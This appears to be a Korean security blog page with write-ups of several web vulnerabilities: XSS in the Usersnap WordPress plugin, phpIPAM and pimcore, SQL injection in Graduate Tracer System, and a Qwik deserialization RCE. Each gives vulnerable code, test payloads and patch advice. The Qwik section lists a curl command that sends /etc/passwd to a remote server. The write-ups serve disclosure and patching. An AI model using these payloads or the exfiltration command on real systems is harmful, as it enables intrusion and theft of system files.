417	 	                            jQuery('.wrap h2:last').after('<div class="error below-h2" style="margin-top:1em"><p><?php _e('Your API key is not valid, please check again!') ?></p></div>');
 	391	            function domReady(fn) {
 	392	                document.addEventListener("DOMContentLoaded", fn);
 	393	                if (document.readyState === "interactive" || document.readyState === "complete" ) {
 	394	                    fn();
 	395	                }
 	396	            };
 	397	
 	398	            domReady(function() {
 	399	                // validate settings form API key input and handle error display
 	400	                document.querySelector('#us-settings-form').addEventListener('submit', function(evt) {
 	401	                    var apiKeyInputField = document.querySelector('#us-api-key');
 	402	                    if (apiKeyInputField.value !== '') {
 	403	                        var s = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
 	404	                        if (!s.test(apiKeyInputField.value)) {
 	405	                            apiKeyInputField.focus();
 	406	                            evt.preventDefault();
 	407	                            // create the error message and add it into the DOM
 	408	                            var h2El = document.querySelector('.wrap h2.us-headline');
 	409	                            var divEl = document.createElement('div');
 	410	                            var pEl = document.createElement('p');
 	411	                            var textNode = document.createTextNode('<?php _e('Your API key is not valid, please check again!') ?>');
 	412	                            pEl.appendChild(textNode);
 	413	                            divEl.appendChild(pEl);
 	414	                            divEl.classList.add("error");
 	415	                            divEl.classList.add("below-h2");
 	416	                            divEl.style.marginTop = "1em";
 	417	                            var parentNode = h2El.parentNode;
 	418	                            parentNode.insertBefore(divEl, h2El.nextSibling);

테스트

  • wp docker를 설치하여 테스트 할 수 있다.
//https://github.com/docker/awesome-compose/tree/master/official-documentation-samples/wordpress/

services:
  db:
    # We use a mariadb image which supports both amd64 & arm64 architecture
    image: mariadb:10.6.4-focal
    # If you really want to use MySQL, uncomment the following line
    #image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:latest
    volumes:
      - wp_data:/var/www/html
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:
  wp_data:
  • 설치 후 기본 설정을 완료 한다.
  • 플러그인 → 플러그인 설치 → 4.16 이하 버젼을 설치→ 플러그인 활성화 한다.

  • 설정→Usersnap→Key를 설정한다. 본 취약점은 여기서 발생한다.

  • 변경 사항을 저장하면 다음과 같은 요청이 발생한다.
POST /wp-admin/options.php HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5163.147 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: <http://localhost:8888/wp-admin/options-general.php?page=usersnap%2Fusersnap.php>
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
Origin: <http://localhost:8888>
Connection: close
Cookie: wordpress_cd9b744c619529c4988e0e94344eaf12=jp27680%7C1680404211%7CVushSRZj3op9Rz4ceEj6sCkGsZvHuRKAr1Jfv1q8WFT%7C1583311e6199cb376b48dd37625eafbd93c292a32829f5847a228693c25f71bd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_cd9b744c619529c4988e0e94344eaf12=test%7C1680404211%7CVushSRZj3op9Rz4ceEj6sCkGsZvHuRKAr1Jfv1q8WFT%7C58f9a23b231a149e43396b44487b5c0064afe2aaf0b68f04b7f4f88f06335295; wp-settings-time-1=1680231562
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "macOS"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

option_page=usersnap_options&action=update&_wpnonce=a1d27a2c33&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dusersnap%252Fusersnap.php%26settings-updated%3Dtrue&usersnap_options%5Bapi-key%5D=cbbd390e-7b17-4d35-8107-6a89110a0ada&usersnap_options%5Bvisible-for%5D=all&usersnap_options%5Bvisible-for-backend%5D=backend&us_btn_save=%EB%B3%80%EA%B2%BD%EC%82%AC%ED%95%AD+%EC%A0%80%EC%9E%A5
  • 키값을 스크립트가 실행 가능한 형태로 제작한다. 키값은 위젯 url을 구성하는 파라미터가 된다.
  • 키값으로 완성된 파라미터는 아래의 widget_url로 입력된다.
(function() {
			    var s = document.createElement('script');
			    s.type = 'text/javascript';
			    s.async = true;
			    s.src = "<?php echo $options['widget_url'] ?>";
			    var x = document.getElementsByTagName('head')[0];
			    x.appendChild(s);
			})();
  • 페이로드 예제는 아래와 같이 쓸 수 있다.
option_page=usersnap_options&action=update&_wpnonce=a1d27a2c33&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dusersnap%252Fusersnap.php%26settings-updated%3Dtrue&usersnap_options%5Bapi-key%5D=cbbd390e-7b17-4d35-8107-6a89110a0ada**"</script><script>alert(1)</script>**&usersnap_options%5Bvisible-for%5D=all&usersnap_options%5Bvisible-for-backend%5D=backend&us_btn_save=%EB%B3%80%EA%B2%BD%EC%82%AC%ED%95%AD+%EC%A0%80%EC%9E%A5
  • 이로 인한 프론트의 결과는 아래와 같다.
<meta name="generator" content="WordPress 6.1.1" />
		<script type="text/javascript" data-cfasync="false">
						window['_usersnapconfig'] = {emailBoxValue: 'park.jiho@linecorp.com'};
							(function() {
			    var s = document.createElement('script');
			    s.type = 'text/javascript';
			    s.async = true;
			    s.src = "//api.usersnap.com/load/cbbd390e-7b17-4d35-8107-6a89110a0ada"</script><script>alert(1)</script>.js";
			    var x = document.getElementsByTagName('head')[0];
			    x.appendChild(s);
			})();
		</script>
		<style media="print">#wpadminbar { display:none; }</style>
	<style media="screen">

패치 방법

  • 패치 제공 Usersnap ≥ 4.17
반응형
반응형

ref

배경

  • Graduate Tracer System 은 학적을 관리하는 시스템이다.
  • Graduate Tracer System 1.0에서 sqli 취약성이 발견되었습니다. 영향을 받는 것은 admin/adminlog.php 파일의 함수이다다. 사용자가 파라미터를 조작하면 SQL 주입이 발생한다. 원격으로 공격이 가능하며, 관리자권한으로 접근 및 명령어 실행이 가능한 취약점이다. 취약성에 대한 공격 방안은 공개가 되어 있습니다.

분석

  • 이 프로그램은 phpstudy 8.1.1.3 을 기반으로 하고 있다.
  • Vulnerability File: tracking/admin/adminlog.php
  • Vulnerability location: tracking/admin/adminlog.php user
  • 로그인시 사용하는 user=* [+] Payload: 파라미터에 페이로드로 공격이 가능하다.

테스트

  1. 관리자 로그인 페이지로 접근
  2. 아이디 부분에 payload를 입력 admin%27 ‘1’=’1 입력
  3. prepared statement 사용하지 않고, 파라미터를 그대로 쿼리스트링의 변수로 받기 때문에 취약성이 발생 slq = select * from xxx where user = ‘admin’ or ‘1’=’1’ and xxx
<?php include('dbcon.php');
 session_start();
if (isset($_POST['submit'])){	
$user = $_POST['user'];
$password = sha1($_POST['password']);

        **$sql = "select * from adminuser where user = '$user' and password = '$password'";**
        $result = mysqli_query($conn,$sql);
                        if ($result->num_rows> 0){
                        $row = mysqli_fetch_assoc($result);
                        $_SESSION['id'] = $row['id'];
                        header("Location:homead.php");
      }else{
                            echo "<script>alert('Mali!! ang iyong user o password na nalagay paki-ulit muli.')</script>";
                        }

}?>

패치 방법

  • 패치 제공하지 않음
  • prepared statement로 변경 후 가동
$stmt = $conn->prepare("**select * from adminuser where user = ? and password = ?**");
$stmt->bind_param("ss", $user, $password);
반응형
반응형

ref

배경

  • pipipam 은 open-source web IP address management application 이다.
  • phpipam v1.5 버젼에서 Reflected corss-site scripting공격이 가능한 파라미터가 발견되었다. 해당 파라미터는 closeClass 이고 /subnet-masks/popup.php. 엔트리에서 발견되었다.

분석

테스트

  1. 로그인을 수행
  2. 로그인 이후 아래 공격 코드를 url로 입력
[<https://demo.phpipam.net/app/tools/subnet-masks/popup.php?closeClass=">](https://demo.phpipam.net/app/tools/subnet-masks/popup.php?closeClass=%22%3E)alert("XSS>")

<!-- footer -->
<div class="pFooter">
	<div class="btn-group">
		<button class="btn btn-sm btn-default <?php print @$_REQUEST['closeClass']; ?>"><?php print _('Close'); ?></button>
	</div>
</div>
  • 공격코드로 공격 수행시 브라우져 응답은 다음과 같다.
<!-- footer -->
<div class="pFooter">
	<div class="btn-group">
		<button class="btn btn-sm btn-default "><script>alert("XSS")</script>">Close</button>
	</div>
</div>

패치 방법

반응형
반응형

ref

https://cve.report/CVE-2023-1283

https://huntr.dev/bounties/63f1ff91-48f3-4886-a179-103f1ddd8ff8/

배경

NodeJS기반의 Framework인 Qwik(https://github.com/BuilderIO/qwik)을 사용하는 서비스에서 Qwik의 버전이 0.20.1 이하일 경우 Preauth Remote Command Execution 공격이 가능합니다.

분석

  • 분석은 취약한 버전인 0.20.1으로 진행
  • Qwik의 middleware request handler는 다음과 같은 순서로 설정
    • POST: securityMiddleware ⇒ pureServerFunction ⇒ fixTrailingSlash ⇒ renderQData
    • GET: fixTrailingSlash ⇒ renderQData
// packages/qwik-city/middleware/request-handler/resolve-request-handlers.ts
var resolveRequestHandlers = (serverPlugins, route, method, renderHandler) => {
  const routeLoaders = [];
  const routeActions = [];
  const requestHandlers = [];
  const isPageRoute = !!(route && isLastModulePageRoute(route[1]));

  if (serverPlugins) {
    _resolveRequestHandlers(
      routeLoaders,
      routeActions,
      requestHandlers,
      serverPlugins,
      isPageRoute,
      method
    );
  }
  if (route) {
    if (isPageRoute) {
      if (method === "POST") {
        requestHandlers.unshift(securityMiddleware);
        requestHandlers.push(pureServerFunction);
      }
      requestHandlers.push(fixTrailingSlash);
      requestHandlers.push(renderQData);
    }
    _resolveRequestHandlers(
      routeLoaders,
      routeActions,
      requestHandlers,
      route[1],
      isPageRoute,
      method
    );
    if (isPageRoute) {
      if (routeLoaders.length + actionsMiddleware.length > 0) {
        requestHandlers.push(actionsMiddleware(routeLoaders, routeActions));
      }
      requestHandlers.push(renderHandler);
    }
  }
  return requestHandlers;
};
  • securityMiddleware함수는 CSRF의 방지 목적으로 아래의 조건을 확인
    • request.headers.get(”origin”) == url.origin
function securityMiddleware({ url, request, error }) {
  const forbidden = request.headers.get("origin") !== url.origin;
  if (forbidden) {
    throw error(403, `Cross-site ${request.method} form submissions are forbidden`);
  }
}
  • pureServerFunction는 다음과 같은 조건을 통과할 경우 ev.parseBody 함수를 실행
  1. qfunc is defined in query
  2. X-QRL in header == qfunc in query
  3. Content-Type == application/qwik-json
async function pureServerFunction(ev) {
  const fn = ev.query.get(QFN_KEY); // var QFN_KEY = "qfunc";
  if (fn && ev.request.headers.get("X-QRL") === fn && ev.request.headers.get("Content-Type") === "application/qwik-json") {
    ev.exit();
    const qwikSerializer = ev[RequestEvQwikSerializer];
    const data = await ev.parseBody();
    if (Array.isArray(data)) {
      const [qrl, ...args] = data;
      if (isQrl(qrl) && qrl.getHash() === fn) {
        const result = await qrl.apply(ev, args);
        verifySerializable(qwikSerializer, result, qrl);
        ev.headers.set("Content-Type", "application/qwik-json");
        ev.send(200, await qwikSerializer._serializeData(result, true));
        return;
      }
    }
    throw ev.error(500, "Invalid request");
  }
}
  • SSR의 경우 DoS (poc)
import sys 
import requests 

host = sys.argv[1] 
headers = { "Origin": host, "X-QRL": "1", "Content-Type": "application/qwik-json" } 
response = requests.post(f'{host}/q-data.json?qfunc=1', headers=headers) 
print(response.text)
  • 위의 조건이 맞으면 ev.parseBody() 함수내 실행
function createRequestEvent(serverRequestEv, loadedRoute, requestHandlers, trailingSlash = true, basePathname = "/", qwikSerializer, resolved) {
	// skip
	parseBody: async () => {
      if (requestData !== void 0) {
        return requestData;
      }
      return requestData = parseRequest(requestEv.request, sharedMap, qwikSerializer);
    },
	// skip
}

// skip

var parseRequest = async (request, sharedMap, qwikSerializer) => {
  var _a2;
  const req = request.clone();
  const type = ((_a2 = request.headers.get("content-type")) == null ? void 0 : _a2.split(/[;,]/, 1)[0].trim()) ?? "";
  if (type === "application/x-www-form-urlencoded" || type === "multipart/form-data") {
    const formData = await req.formData();
    sharedMap.set(RequestEvSharedActionFormData, formData);
    return formToObj(formData);
  } else if (type === "application/json") {
    const data = await req.json();
    return data;
  } else if (type === "application/qwik-json") {
    return qwikSerializer._deserializeData(await req.text());
  }
  return void 0;
};
  • requestData가 undefined라면 parseRequest로 인자로 전달
  • 이때 content-type이 application/qwik-json이므로 qwikSerializer._deserializeData를 호출
// qwik/core.mjs
const _deserializeData = (data, element) => {
    const obj = JSON.parse(data);
    if (typeof obj !== 'object') {
        return null;
    }
    const { _objs, _entry } = obj;
    if (typeof _objs === 'undefined' || typeof _entry === 'undefined') {
        return null;
    }
    let doc = {};
    let containerState = {};
    if (element && isQwikElement(element)) {
        const containerEl = getWrappingContainer(element);
        if (containerEl) {
            containerState = _getContainerState(containerEl);
            doc = containerEl.ownerDocument;
        }
    }
    const parser = createParser(containerState, doc);
    reviveValues(_objs, parser);
    const getObject = (id) => _objs[strToInt(id)];
    for (const obj of _objs) {
        reviveNestedObjects(obj, getObject, parser);
    }
    return getObject(_entry);
};
  • 이 함수에서는 deserialize를 위한 Parser를 생성하고 reviveValue를 호출
  • Parser는 prepare, subs, fill 이 3가지 함수가 존재
const createParser = (containerState, doc) => {
    const fillMap = new Map();
    const subsMap = new Map();
    return {
        prepare(data) {
					// skip
        },
        subs(obj, subs) {
					// skip
        },
        fill(obj, getObject) {
					// skip
        },
    };
};
  • reviveValues 함수는 다음과 같이 _obj의 타입이 “string”이고 값이 “\u0001”이 아니라면 parser의 prepare함수를 호출
const reviveValues = (objs, parser) => {
    for (let i = 0; i < objs.length; i++) {
        const value = objs[i];
        if (isString(value)) {
            objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value); // UNDEFINED_PREFIX = "\\u0001"
        }
    }
  • prepare 함수에서는 _obj의 값 중 첫 Byte를 prefix값으로써 활용하고, 이 값과 맞는 serializers를 찾음
  • 일치하는 serializers가 존재한다면 _obj의 2번째 byte부터의 값을 첫 번째 인자로써 serializer의 prepare함수를 호출
prepare(data) {
    for (const s of serializers) {
        const prefix = s.prefix;
        if (data.startsWith(prefix)) {
            const value = s.prepare(data.slice(prefix.length), containerState, doc);
            if (s.fill) {
                fillMap.set(value, s);
            }
            if (s.subs) {
                subsMap.set(value, s);
            }
            return value;
        }
    }
    return data;
}
  • Serializers의 리스트는 다음과 같고 이들은 각각 정의된 prefix값을 보유
// // qwik/core.mjs
const serializers = [
    QRLSerializer,
    SignalSerializer,
    SignalWrapperSerializer,
    WatchSerializer,
    ResourceSerializer,
    URLSerializer,
    DateSerializer,
    RegexSerializer,
    ErrorSerializer,
    DocumentSerializer,
    ComponentSerializer,
    PureFunctionSerializer,
    NoFiniteNumberSerializer,
    URLSearchParamsSerializer,
    FormDataSerializer,
];
  • 이 중 PureFunctionSerializer를 참조
const PureFunctionSerializer = {
    prefix: '\\u0011',
    test: (obj) => typeof obj === 'function' && obj.__qwik_serializable__ !== undefined,
    serialize: (obj) => {
        return obj.toString();
    },
    prepare: (data) => {
        const fn = new Function('return ' + data)();
        fn.__qwik_serializable__ = true;
        return fn;
    },
    fill: undefined,
};
  • prefix는 \u0011이고 prepare함수는 인자값을 이용해 new Function 함수를 실행
  • 이때 원격으로 명령어 실행이 가능
    • exploit 비공개, @별도 연락 해주세요.
    • command
      • curl -F”a=@/etc/passwd” http://[remote_server]

패치 방법

반응형
반응형

ref

배경

  • github 내의 Reflected 환경에서의 Cross-site Scripting 취약점 발견
  • 해당 취약점은 pimcore v10.5.19 이하 버전에서 발견

분석

  • pimcore는 Application Logger 모듈 검색할 때 From 및 To 필드에서 Reflected XSS에 취약
  • 테스트
"><img src=x onerror=alert(document.domain);>

패치 방법

  • 업데이트
    • v10.5.19 보다 높은 버전으로 업데이트 진행 필요
반응형

+ Recent posts